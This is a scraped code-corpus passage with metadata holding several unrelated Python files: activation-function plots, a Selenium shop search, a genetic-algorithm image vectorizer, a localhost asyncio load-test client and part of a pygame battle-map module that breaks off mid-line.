flow/Keras_model.py", "file_name": "Keras_model.py", "file_ext": "py", "file_size_in_byte": 1689, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "numpy.zeros", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 39, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 40, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 41, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "37673247818", "text": "import numpy as np\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\n\n\n# 阶跃函数\ndef step_function0(x):\n if x > 0:\n return 1\n return 0\n\n\n# 支持 Numpy 数组的实现\ndef step_function(x):\n return np.array(x > 0, dtype=np.int)\n\n\n# 简单测试一下\nx = np.array([-1.0, 1.0, 2.0])\nprint(x)\nprint(step_function(x))\n\n# 绘制图形\nx = np.arange(-5.0, 5.0, 0.1)\ny = step_function(x)\ntitle = 'step function'\n\n# sigmoid 函数\ndef sigmoid(x):\n return 1 / (1 + np.exp(-x))\n\n\ndef relu(x):\n return np.maximum(0, x)\n\n# 广播\nt = np.array([1.0, 2.0, 3.0])\nprint(1+t)\nprint(1/t)\n# 绘制图形\nx = np.arange(-5.0, 5.0, 0.1)\ny1 = sigmoid(x)\ntitle1 = 'sigmoid'\ntitle2 = 'relu'\ny2 = relu(x)\nplt.plot(x, y1, label=title1)\nplt.plot(x, y, label=title, linestyle='--')\nplt.plot(x, y2, label=title2)\nplt.ylim(-0.1, 5.1)\nplt.title('activation functions')\nplt.legend()\nplt.show()\n", "repo_name": "wdxtub/deep-learning-note", "sub_path": "deep_learning_from_scratch/4_activation_function.py", "file_name": "4_activation_function.py", "file_ext": "py", "file_size_in_byte": 913, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 43, "dataset": "github-code", "pt": "80", "api": [{"api_name": "matplotlib.use", "line_number": 3, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}]} +{"seq_id": "18775508242", "text": "from selenium.webdriver import Chrome\nfrom selenium.webdriver.common.keys import Keys\nimport time\nbrowser = Chrome()\nbrowser.get(\"https://www.momoshop.com.tw/main/Main.jsp/\")\nelement1 = browser.find_element_by_id('keyword')\nelement1.clear()\nelement1.send_keys(\"洗衣粉\")\nelement1.send_keys(Keys.RETURN)\ntime.sleep(10)\nbrowser.close()", "repo_name": "jong1-alt/Lin", "sub_path": "demo12.py", "file_name": "demo12.py", "file_ext": "py", "file_size_in_byte": 335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 4, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.RETURN", "line_number": 9, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 9, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "21941301807", "text": "import time\nimport datetime\nimport sys, os\nimport numpy as np\nimport matplotlib.pyplot as plt\n# add a folder with a library to the path\nsys.path.append(\".\")\nsys.path.append(os.path.dirname(os.path.abspath(__file__)) + \"./genetic\")\n# import functions from the genetic library\nfrom genetic.utils import *\nfrom PIL import Image, ImageDraw, ImageOps\nfrom image4layer import Image4Layer\n\n# ------------------------------ USER PARAMETERS --------------------------\nimg_str = \"Darwin_enhanced.jpg\" # image to load (from ./images folder)\nbasewidth = 256 # output width of generated image \ndeterministic_mode = True # reproducible results [True, False]\ngenerate_gif = True # generate animation [True, False]\ndeterministic_seed = 42 # seed for pseudo-random generator\nN = 6000 # number of objects in created image\n# --- Genetic Optimization ---\nNEvo = 10 # number of evolution steps per one optimized object \nMAX_BUFF = 5 # stopping evolution if there are no changes (MAX_BUFF consecutive evolution steps)\nMAX_ADDMUT = 5 # [%] - maximum aditive mutation range\nMUT_RATE = 20 # [%] - mutation rate (percentage of chromosomes to be mutated)\nLINE_WIDTH = 2 # [px] line width\nMLTPL_EVO_PARAMS = 1 # parameter multiplier\nBLEND_MODE = \"darken\" # available options: [\"normal\", \"multiply\", \"screen\", \"overlay\", \"darken\", \"lighten\", \"color_dodge\", \"color_burn\", \"hard_light\", \"soft_light\", \"difference\", \"exclusion\", \"hue\", \"saturation\", \"color\", \"luminosity\", \"vivid_light\", \"pin_light\", \"linear_dodge\", \"subtract\"]\n# -------------------------------------------------------------------------\n\n\"\"\"\n Optimized parameters: x1,x2,y1,y2 (for one line)\n\n -------> y\n | °°°°°°°°°°°°°°°\n | ° °\n | ° °\n v ° °\n x ° °\n °°°°°°°°°°°°°°°\n\n x1,x2 <0, image_height> - vector of x positions\n y1,y2 <0, image_width> - vector of y positions\n\"\"\"\n'''\nNOTE:\n - numpy -> works with the image as a dimensional tensor (H, W, D)\n [ the higher axis designation and the tensor correspond to this (x,y,d) ]\n - Pillow -> works with the image as a dimensional tensor (W, H, D)\n [ this results in a discrepancy and a change of labeling, x and y in code according to object type ]\n'''\n\n\n# if deterministic mode, use specified seed for reproducible results\nif (deterministic_mode):\n np.random.seed(deterministic_seed)\n \n# rendering settings (font and style)\nplt.style.use('seaborn-paper')\nplt.rcParams['font.family'] = 'serif'\nplt.rcParams['axes.linewidth'] = 0.1 # frame boundaries in graphs\n\n# load image and convert it to greyscale\norig_img = Image.open(\"./images/\" + img_str).convert('L')\n# resize image to specified width with aspect ratio preserved\nwpercent = (basewidth/float(orig_img.size[0]))\nhsize = int((float(orig_img.size[1])*float(wpercent)))\norig_img = orig_img.resize((basewidth,hsize), Image.ANTIALIAS)\n\n# convert to numpy array\norig_img = np.asarray(orig_img, dtype=int)\n# start the timer\nstart_time = time.time()\n# --------------------------------------------------------\n\n# generate empty image with background colour\ngen_img = Image.new('RGBA', (orig_img.shape[1], orig_img.shape[0]), COLOUR_WHITE)\ngen_img = gen_img.convert('L') # canvas\n\n# definition of search space limitations (for one line segment only)\nOneSpace = np.concatenate((np.zeros((1,4)), # mininum\n np.array([[orig_img.shape[0]-1, orig_img.shape[0]-1, orig_img.shape[1]-1, orig_img.shape[1]-1]])), axis=0) # maximum\n# range of changes for the additive mutation\nAmp = OneSpace[1,:]*(MAX_ADDMUT/100.0) \n# results to be saved\nlpoly = np.zeros((N,6)) # (x1,x2,y1,y2,stroke,fitness)\ndata = list() # list of fitness values\n# we start from the white canvas to which we add line segments\nrfit = None # initial fitness value\nbuffer = 0 # auxiliary variable to stop evolution if no changes occur\ncount = 1 # number of objects in final image\nimages = [] # list of image used for animation process\nif generate_gif:\n images.append(gen_img)\n\n# repeat, until we reached specified number of line segments\nwhile(count<=N):\n # initial population generation\n NewPop = genLinespop(24*MLTPL_EVO_PARAMS, Amp, OneSpace)\n # first fitness evaluation\n fitness = evalFitness(NewPop, orig_img, gen_img, rfit, LINE_WIDTH, BLEND_MODE)\n \n # start of genetic optimization process\n for i in range(NEvo): # high enough value (we expect an early stop)\n OldPop = np.copy(NewPop) # save population and fitness from previous generation\n fitnessOld = np.copy(fitness) \n PartNewPop1, PartNewFit1 = selbest(OldPop, fitness, [3*MLTPL_EVO_PARAMS,2*MLTPL_EVO_PARAMS,1*MLTPL_EVO_PARAMS]) # select best lines\n PartNewPop2, PartNewFit2 = selsus(OldPop, fitness, 18*MLTPL_EVO_PARAMS)\n PartNewPop2 = mutLine(PartNewPop2, MUT_RATE/100.0, Amp, OneSpace) # additive mutation\n NewPop = np.concatenate((PartNewPop1, PartNewPop2), axis=0) # create new population\n fitness = evalFitness(NewPop, orig_img, gen_img, rfit, LINE_WIDTH, BLEND_MODE)\n if (np.min(fitness) == np.min(fitnessOld)):\n buffer += 1 # if we stagnate start with counting\n else: \n buffer = 0 # if the solution has improved, continue evolution\n # if we have exceeded the maximum limit, we will stop evolution\n if (buffer >= MAX_BUFF):\n break\n \n # add the best line segment in the image and continue evolution\n psol, rfitnew = selbest(NewPop, fitness, [1])\n \n if(rfit is None):\n rfit = 1e6 # safe big value\n # draw line segment only if it improves fitness\n if(rfitnew < rfit):\n rfit = rfitnew\n data.append(rfit) # save line segment info\n \n minX = int(np.min([psol[0,0],psol[0,1]]))\n maxX = int(np.max([psol[0,0],psol[0,1]]))\n deltaX = int(maxX - minX) + 1\n \n minY = int(np.min([psol[0,2],psol[0,3]]))\n maxY = int(np.max([psol[0,2],psol[0,3]]))\n deltaY = int(maxY - minY) + 1\n \n draw = Image.new('RGBA', (deltaY, deltaX), (255,255,255,0))\n draw = draw.convert('L')\n pdraw = ImageDraw.Draw(draw)\n p = ((int(psol[0,2])-minY, int(psol[0,0])-minX),(int(psol[0,3])-minY, int(psol[0,1])-minX))\n mask_img = Image.new('1', (draw.size[0], draw.size[1]), 0)\n ImageDraw.Draw(mask_img).line(p, fill=1, width=LINE_WIDTH)\n mask = np.array(mask_img)\n \n tgrey = orig_img[minX:minX+deltaX, minY:minY+deltaY] * mask\n tgrey = tgrey[tgrey != 0]\n \n # compute the lightest shade of the line segment\n c = int(np.max(tgrey))\n \n # create new line segment\n pdraw.line(p, fill=(c), width=LINE_WIDTH)\n partgenImg = gen_img.crop((minY, minX, minY + deltaY, minX + deltaX))\n \n # call blending mode function by name\n out = eval('Image4Layer.' + BLEND_MODE)(draw, partgenImg)\n gen_img.paste(out, (minY, minX))\n \n print(\"# \" + str(count) + \" Fitness: \" + str(rfit))\n lpoly[count-1,:] = np.concatenate(np.array((int(psol[0,2]), int(psol[0,3]), int(psol[0,0]), int(psol[0,1]), 255-c, rfit[0])).reshape(6,1))\n count += 1 # increment counter of drawn line segments\n if generate_gif:\n images.append(gen_img.convert('P'))\n \n# create new graph\nfig, ax = plt.subplots()\nplt.plot(data, 'b', linewidth=0.5)\nplt.title('Image vectorization via genetic evolution')\nplt.xlabel('Number of generations')\nplt.ylabel('Fitness')\nplt.xlim(left=0)\n# grid and display settings\nplt.box(True)\nax.set_axisbelow(True)\nax.minorticks_on()\nax.grid(which='major', linestyle='--', linewidth='0.5')\nax.grid(which='minor', linestyle='-.', linewidth='0.05', alpha=0.1)\n# display the resulting graph and list the solution found\nplt.show()\n\n# find out the final solution\nsol, rfit = selbest(NewPop, fitness, [1])\nprint(\"Final fitness value: \" + str(rfit[0]))\nprint(\"--- Evolution lasted: %s seconds ---\" % (time.time() - start_time))\n\n# save generated images\nuniq_filename = str(datetime.datetime.now().date()) + '_' + str(datetime.datetime.now().time()).replace(':', '.')\nout_path = u\"./results/{}.png\".format(img_str.rsplit('.', 1)[0] + '_' + uniq_filename)\ngen_img.save(out_path, dpi=(600,600))\n# save solution info to csv file\nnp.savetxt(\"./results/\" + img_str.rsplit('.', 1)[0] + '_' + uniq_filename + \".csv\", lpoly, delimiter=\";\")\n# save the animation\nif generate_gif:\n images[0].save(u\"./results/{}.gif\".format(img_str.rsplit('.', 1)[0] + '_' + uniq_filename), save_all=True, append_images=images[1::10], optimize=False, duration=2, loop=0)\n\n\n\n\n\n\n", "repo_name": "xgoga/FastRoboticPencilDrawing", "sub_path": "gen_drawing.py", "file_name": "gen_drawing.py", "file_ext": "py", "file_size_in_byte": 8639, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "80", "api": [{"api_name": "sys.path.append", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 56, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 59, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 60, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 61, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 64, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 64, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 68, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 68, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 71, "usage_type": "call"}, {"api_name": "time.time", "line_number": 73, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 77, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 135, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 138, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 138, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 140, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 140, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 142, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 142, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 143, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 143, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.box", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "time.time", "line_number": 185, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 188, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.savetxt", "line_number": 192, "usage_type": "call"}]} +{"seq_id": "70904020098", "text": "import asyncio\nimport sys\nimport time\njokes = 0\nbytes_ = 0\n\nasync def client(loop):\n global jokes, bytes_\n try:\n reader, _writer = await asyncio.open_connection(\"127.0.0.1\", 12345, loop=loop)\n _writer.write(b\"Hey\\n\\n\")\n data = await reader.read()\n except Exception as e:\n print(\"IO Error: %s\"%e,file=sys.stderr)\n return\n print(\"Received joke %d\"%(jokes,))\n jokes+= 1\n bytes_+= len(data)\n\nasync def many_clients(loop, count):\n tasks =[loop.create_task(client(loop)) for _i in range(count)]\n await asyncio.gather(*tasks, loop=loop)\n\nif __name__ == \"__main__\":\n try:\n count = int(sys.argv[1])\n except:\n count = 100\n\n loop = asyncio.get_event_loop()\n start = time.time()\n loop.run_until_complete(many_clients(loop,count))\n duration = time.time() - start\n loop.close()\n print(\"received %d jokes, %d bytes in %f secs\" % (jokes, bytes_, duration))\n\n\n", "repo_name": "izderadicka/tokio-test-playground", "sub_path": "python/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 941, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "80", "api": [{"api_name": "asyncio.open_connection", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 14, "usage_type": "attribute"}, {"api_name": "asyncio.gather", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 26, "usage_type": "attribute"}, {"api_name": "asyncio.get_event_loop", "line_number": 30, "usage_type": "call"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "42422563912", "text": "import threading\nfrom functools import lru_cache\nfrom random import randint, random, randrange\n\nimport numpy as np\nimport pygame\nfrom PIL import Image, ImageFilter, ImageOps\n\nfrom engine.utility import apply_sprite_colour, load_image, load_images, filename_convert_readable as fcv\n\n\nclass BattleMap(pygame.sprite.Sprite):\n def __init__(self):\n from engine.game.game import Game\n from engine.data.datamap import BattleMapData\n self.main_dir = Game.main_dir\n self.module_dir = Game.module_dir\n self.terrain_list = BattleMapData.terrain_list\n self.terrain_colour = BattleMapData.terrain_colour\n self.feature_mod = BattleMapData.feature_mod\n self.feature_list = BattleMapData.feature_list\n self.feature_colour = BattleMapData.feature_colour\n self.battle_map_colour = BattleMapData.battle_map_colour\n self.team_colour = Game.team_colour\n self.selected_team_colour = Game.selected_team_colour\n self.screen_scale = Game.screen_scale\n self.battle = Game.battle\n\n self._layer = 0\n pygame.sprite.Sprite.__init__(self)\n\n\nclass BaseMap(BattleMap):\n\n def __init__(self):\n BattleMap.__init__(self)\n\n self.map_array = ()\n self.max_map_array = (0, 0)\n\n def draw_image(self, image):\n self.map_array = tuple([tuple([tuple(col) for col in row]) for row in pygame.surfarray.array3d(image).tolist()])\n self.max_map_array = (len(self.map_array) - 1, len(self.map_array[0]) - 1)\n\n def get_terrain(self, pos, debug=False):\n \"\"\"get the base terrain at that exact position\n typically called in get_feature so no need to check for map border\"\"\"\n terrain = self.map_array[int(pos[0])][int(pos[1])] # use already calculated pos from get_feature\n if debug and terrain not in self.feature_colour:\n print(pos, terrain)\n terrain_index = self.terrain_colour.index(terrain)\n return terrain_index\n\n def clear_image(self):\n self.map_array = ()\n self.max_map_array = (0, 0)\n\n\nclass FeatureMap(BattleMap):\n def __init__(self, base_map):\n BattleMap.__init__(self)\n\n self.base_map = base_map\n self.map_array = ()\n self.max_map_array = (0, 0)\n\n def draw_image(self, image):\n self.map_array = tuple([tuple([tuple(col) for col in row]) for row in pygame.surfarray.array3d(image).tolist()])\n self.max_map_array = (len(self.map_array) - 1, len(self.map_array[0]) - 1)\n\n def get_feature(self, pos, debug=False):\n \"\"\"get the terrain feature at that exact position\"\"\"\n new_pos = pygame.Vector2(pos) # create new pos to avoid replacing input one\n if new_pos[0] < 0:\n new_pos[0] = 0\n elif new_pos[0] > self.max_map_array[0]:\n new_pos[0] = self.max_map_array[0]\n\n if new_pos[1] < 0:\n new_pos[1] = 0\n elif new_pos[1] > self.max_map_array[1]:\n new_pos[1] = self.max_map_array[1]\n\n terrain_index = self.base_map.get_terrain(new_pos, debug=debug)\n if debug and self.map_array[int(new_pos[0])][int(new_pos[1])] not in self.feature_colour:\n print(new_pos, self.map_array[int(new_pos[0])][int(new_pos[1])])\n feature_index = (terrain_index * len(self.feature_colour)) + \\\n self.feature_colour.index(self.map_array[int(new_pos[0])][int(new_pos[1])])\n return terrain_index, feature_index\n\n def clear_image(self):\n self.map_array = ()\n self.max_map_array = (0, 0)\n\n\nclass HeightMap(BattleMap):\n poster_level = 4\n\n def __init__(self):\n BattleMap.__init__(self)\n self.map_array = ()\n self.max_map_array = (0, 0)\n self.image = None\n self.topology_image = None\n\n def draw_image(self, image):\n self.image = image\n self.map_array = tuple(\n [tuple([col for col in row]) for row in\n pygame.surfarray.pixels_green(self.get_grey_scaled_surface()).tolist()])\n self.max_map_array = (len(self.map_array) - 1, len(self.map_array[0]) - 1)\n self.topology_image = topology_map_creation(self.image, self.poster_level)\n\n @lru_cache(maxsize=1)\n def get_grey_scaled_surface(self):\n \"\"\"get a grey scaled surface(24-bit) representation of the height map.\n brightness equals the height. brightness is any of the R, G or B values (they are always the same)\"\"\"\n if self.image is None:\n raise Exception(\"This method is depended on draw_image being called first.\")\n\n # this method assume that height can only be represented by an integer that is in the range between 0 to 255 (inclusive)\n\n surface_array = np.multiply.outer(pygame.surfarray.pixels_green(self.image), [1, ] * 3)\n surface_inverted = pygame.surfarray.make_surface(surface_array)\n\n surface = pygame.Surface(surface_inverted.get_rect().size)\n surface.fill((255,) * 3)\n surface.blit(surface_inverted, (0, 0), special_flags=pygame.BLEND_RGB_SUB)\n\n return surface\n\n def get_battle_map_overlay(self):\n \"\"\"get an overlay (24-bit surface) that should be applied to the battle map to visual height differences.\n It is intended to be applied using BLEND_RGB_ADD\"\"\"\n\n # the old slow way used this formula to modify the color.\n # as you can see it adds a subtle increase of white where there is height\n # height = int((self.height_map.get_height((row_pos, col_pos)) - 100) / 20)\n # new_colour = (new_colour[0] + height, new_colour[1] + height, new_colour[2] + height)\n\n # the new way mimics this formula but make use of blits and blends which\n # is a lot faster. Sadly I could not do a perfect recreation but is is almost the same.\n\n overlay = self.get_grey_scaled_surface().copy()\n applier = pygame.Surface(overlay.get_size())\n applier.fill((100,) * 3)\n overlay.blit(applier, (0, 0), special_flags=pygame.BLEND_RGB_SUB)\n\n applier.fill((13,) * 3) # this is the divide with 20 part. 255 * 1/20 = 12.75 so it is\n # hard get it exact (we are limited to integers) I tried 11, 12, 13, 14 and so on\n # but no one produced a perfect match to the old solution.\n\n overlay.blit(applier, (0, 0), special_flags=pygame.BLEND_RGB_MULT)\n return overlay\n\n def get_height(self, pos):\n \"\"\"get the terrain height at that exact position\"\"\"\n new_pos = pygame.Vector2(pos)\n if new_pos[0] < 0:\n new_pos[0] = 0\n elif new_pos[0] > self.max_map_array[0]:\n new_pos[0] = self.max_map_array[0]\n\n if new_pos[1] < 0:\n new_pos[1] = 0\n elif new_pos[1] > self.max_map_array[1]:\n new_pos[1] = self.max_map_array[1]\n return self.map_array[int(new_pos[0])][int(new_pos[1])]\n\n def clear_image(self):\n self.image = None\n self.topology_image = None\n self.map_array = ()\n self.max_map_array = (0, 0)\n\n\nclass FinalMap(BattleMap):\n def __init__(self, height_map):\n self._layer = 0\n BattleMap.__init__(self)\n self.height_map = height_map\n self.scale = 1\n self.mode = 1\n\n self.true_image = None # image before adding effect and place name\n self.base_image = None # image before adding height map mode\n self.image = None # image after adding height map mode\n\n self.empty_texture = pygame.Surface((0, 0)) # empty texture image\n self.camp_texture = load_image(self.module_dir, (1, 1), \"camp.png\",\n (\"map\", \"texture\")) # war camp texture image\n\n self.map_texture = []\n self.load_texture_list = [item[\"Name\"] for item in self.feature_mod.values() if\n item[\"Name\"] != \"\"]\n\n for index, folder in enumerate(self.load_texture_list):\n images = load_images(self.module_dir, subfolder=(\"map\", \"texture\", fcv(folder, revert=True)),\n key_file_name_readable=True)\n self.map_texture.append(list(images.values()))\n\n self.day_effect_images = load_images(self.module_dir, screen_scale=self.screen_scale,\n subfolder=(\"map\", \"day\"), key_file_name_readable=True)\n\n self.map_move_array = []\n self.map_def_array = []\n\n def recolour_map_and_build_move_and_def_arrays(self, feature_map, base_map, debug=False):\n\n if (type(feature_map), type(base_map)) != (FeatureMap, BaseMap):\n raise TypeError()\n\n for row_pos in range(0, self.image.get_width()): # recolour the map\n speed_array = []\n def_array = []\n for col_pos in range(0, self.image.get_height()):\n terrain, feature = feature_map.get_feature((row_pos, col_pos), debug=debug)\n new_colour = self.battle_map_colour[feature][1]\n height = self.height_map.get_height((row_pos, col_pos)) / 50\n new_colour = pygame.Color(new_colour).correct_gamma(height)\n rect = pygame.Rect(row_pos, col_pos, 1, 1)\n self.image.fill(new_colour, rect)\n\n map_feature_mod = feature_map.feature_mod[feature]\n speed_mod = int(map_feature_mod[\"Infantry Speed Bonus\"] * 100)\n def_mod = int(map_feature_mod[\"Infantry Melee Bonus\"] * 100)\n speed_array.append(speed_mod)\n def_array.append(def_mod)\n self.map_move_array.append(tuple(speed_array))\n self.map_def_array.append(tuple(def_array))\n\n self.map_move_array = tuple(self.map_move_array)\n self.map_def_array = tuple(self.map_def_array)\n self.image.blit(self.height_map.get_battle_map_overlay(), (0, 0), special_flags=pygame.BLEND_RGB_ADD)\n\n def draw_image(self, base_map, feature_map, place_name, camp_pos, debug=False):\n self.image = pygame.Surface((len(base_map.map_array[0]), len(base_map.map_array)))\n\n self.recolour_map_and_build_move_and_def_arrays(feature_map, base_map, debug=debug)\n\n # Blur map to make it look older\n # self.image = pygame.transform.b(self.image, radius=4) # pygame.ce only, a bit faster\n data = pygame.image.tostring(self.image, \"RGB\") # convert image to string data for filtering effect\n img = Image.frombytes(\"RGB\", (self.image.get_width(), self.image.get_height()),\n data) # use PIL to get image data\n img = img.filter(ImageFilter.GaussianBlur(radius=2)) # blur Image (or apply other filter in future)\n img = img.tobytes()\n img = pygame.image.fromstring(img, (self.image.get_width(), self.image.get_height()),\n \"RGB\") # convert image back to a pygame surface\n self.image = pygame.Surface(\n (self.image.get_width(),\n self.image.get_height())) # using the above surface cause a lot of fps drop so make a new one and blit the above here\n self.image.blit(img, (0, 0))\n\n for team, pos_list in camp_pos.items(): # draw camp for mini map first\n for pos in pos_list:\n camp_texture = apply_sprite_colour(self.camp_texture.copy(), self.team_colour[team])\n self.image.blit(camp_texture, camp_texture.get_rect(center=pos[0]))\n pygame.draw.circle(self.image, self.team_colour[team], pos[0], pos[1], 10)\n\n mini_map_size = (190 * self.screen_scale[0], 190 * self.screen_scale[1]) # default minimap size\n self.mini_map_image = pygame.transform.smoothscale(self.image, (int(mini_map_size[0]), int(mini_map_size[1])))\n\n for row_pos in range(0, len(base_map.map_array)):\n for col_pos in range(0, len(base_map.map_array[0])):\n if row_pos % 20 == 0 and col_pos % 20 == 0:\n random_pos = (row_pos + randint(0, 19), col_pos + randint(0, 